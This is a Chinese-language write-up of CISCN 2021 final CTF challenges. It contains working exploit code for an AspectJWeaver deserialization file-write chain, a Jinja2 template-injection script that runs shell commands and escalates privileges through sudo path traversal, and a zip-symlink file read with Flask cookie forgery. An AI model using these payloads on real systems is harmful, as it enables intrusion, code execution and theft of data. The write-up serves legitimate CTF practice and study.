ciscn2021 finnal复现 要打国赛finnal了,把去年的题抽时间做一做。
ezj4va 虽然源码看着很多,但是链子还是不是很难的。
关于AspectJWeaver反序列化 首先来看链子,很明显还需要cc3.2依赖。
HashSet . readObject() HashMap . put() HashMap . hash() TiedMapEntry . hashCode() TiedMapEntry . getValue() LazyMap . get() SimpleCache$StorableCachingMap . put() SimpleCache$StorableCachingMap . writeToPath() FileOutputStream . write()
主要在于后面的链子,漏洞出发点在SimpleCache$StorableCachingMap.writeToPath()
。writeToPath中key和value分别是文件名和内容。
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
中调用了writeToPath。所以反序列化的时候触发put方法就行了。
这个类接受两个参数,并且方法名为put。那就可以拼接上LazyMap的链子即可
题目解析 拖下来源码审计,/cart/*路由下有三个子处理,挑一个看就行了
/cart/add最终是调用了addToCart函数。在这个函数里主动调用了put方法,并且反序列出来的cart类我们是可控的,所以直接将skuDescribe设置成SimpleCache$StorableCachingMap
就行了
调用链变成
CartServiceImpl . addToCart() Deserializer . readObject() CartServiceImpl . addToCart() SimpleCache$StorableCachingMap . put() SimpleCache$StorableCachingMap . writeToPath() FileOutputStream . write()
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import ciscn.fina1.ezj4va.domain.Cart;import ciscn.fina1.ezj4va.service.impl.CartServiceImpl;import ciscn.fina1.ezj4va.utils.Deserializer;import ciscn.fina1.ezj4va.utils.Evil;import javassist.CannotCompileException;import javassist.NotFoundException;import java.io.IOException;import java.lang.reflect.Constructor;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javassist.ClassPool;public class exp1 { public static String getCookie () throws Exception { Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map<String,Object> map = (Map<String, Object>) constructor.newInstance("./target/classes" , 123 ); Cart cart = new Cart(); cart.setSkuDescribe(map); String oldCartStr = Deserializer.serialize(cart); return oldCartStr; } public static String getData () throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException { String fileName = "Evil.class" ; byte [] exp = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); Cart cart = new Cart(); Map<String,Object> skuDescribe = new HashMap<>(); skuDescribe.put(fileName,exp); cart.setSkuDescribe(skuDescribe); String payload = Deserializer.serialize(cart); Cart test = (Cart) Deserializer.deserialize(payload); for (Map.Entry<String,Object> entry:test.getSkuDescribe().entrySet()){ System.out.println(entry.getKey()); System.out.println(entry.getValue()); } return payload; } public static void test (String skus, String oldCartStr) throws Exception { CartServiceImpl.getInstance().addToCart(skus,oldCartStr); } public static void main (String[] args) throws Exception { String skus = getData(); String Cookie = getCookie(); System.out.println("String skus = " + skus); System.out.println("String Cookie = " + Cookie); test(skus,Cookie); } }
target/classes下写入Evil.class,然后反序列化这个类即可 发送请求
Patch修复 buu上环境有点问题回头再看看。
easy_python 有点脑洞和套娃,不过那个提权也不算老套感觉。
参考文档。步骤有些繁琐,不过很容易看懂。wp1 wp2
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport htmlfrom base64 import b64encode url = '''http://node4.buuoj.cn:27858/{%set z=request.args%}{% set p=x.__init__.__globals__[z.a] %}{% print(p.eval(z.b))%}''' s = requests.session() flag = bytes ("#!/bin/bash\ncat /flag.txt\n" , "utf-8" ) b = b64encode(b64encode(flag)) cmd1 = "echo {} > cmd.sh" .format (bytes .decode(b,"utf-8" )) cmd2 = "base64 -d cmd.sh > cmd1.sh" cmd3 = "base64 -d cmd1.sh > cmd.sh" cmd4 = "chmod 777 cmd.sh" cmd5 = "sudo -u dragon_lord /usr/sbin/service ../../var/www/cmd.sh" cmd6 = "rm cmd1.sh" cmd7 = "rm cmd.sh" cmd8 = "cat /var/www/cmd.sh" cmds = [eval ("cmd" +str (i)) for i in range (1 ,8 )]for i in cmds: params={ "a" :"__builtins__" , "b" :'''__import__("imp").load_source('mymod', '/usr/local/lib/python3.9/subprocess.py').Popen("{}",shell=True,stdout=-1).stdout.read()''' .format (i) } res = s.get(url,params=params) print (html.unescape(res.text)) print (res.url)
Patch修复 babypython 软链接任意文件读取.参考
首先需要读取mac地址
ln -si /sys/ class /net/ eth0/address link zip --symlinks 1 .zip link
然后伪造cookie即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flask,session,render_template,redirect, url_for, escape, request,Responseimport uuidimport random app = Flask(__name__) app.config['SECRET_KEY' ] = "1.4145912447929843" @app.route('/' , methods=['GET' ] ) def index (): session['username' ] = u'admin' return "" if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=3333 )
Patch修复 iiNote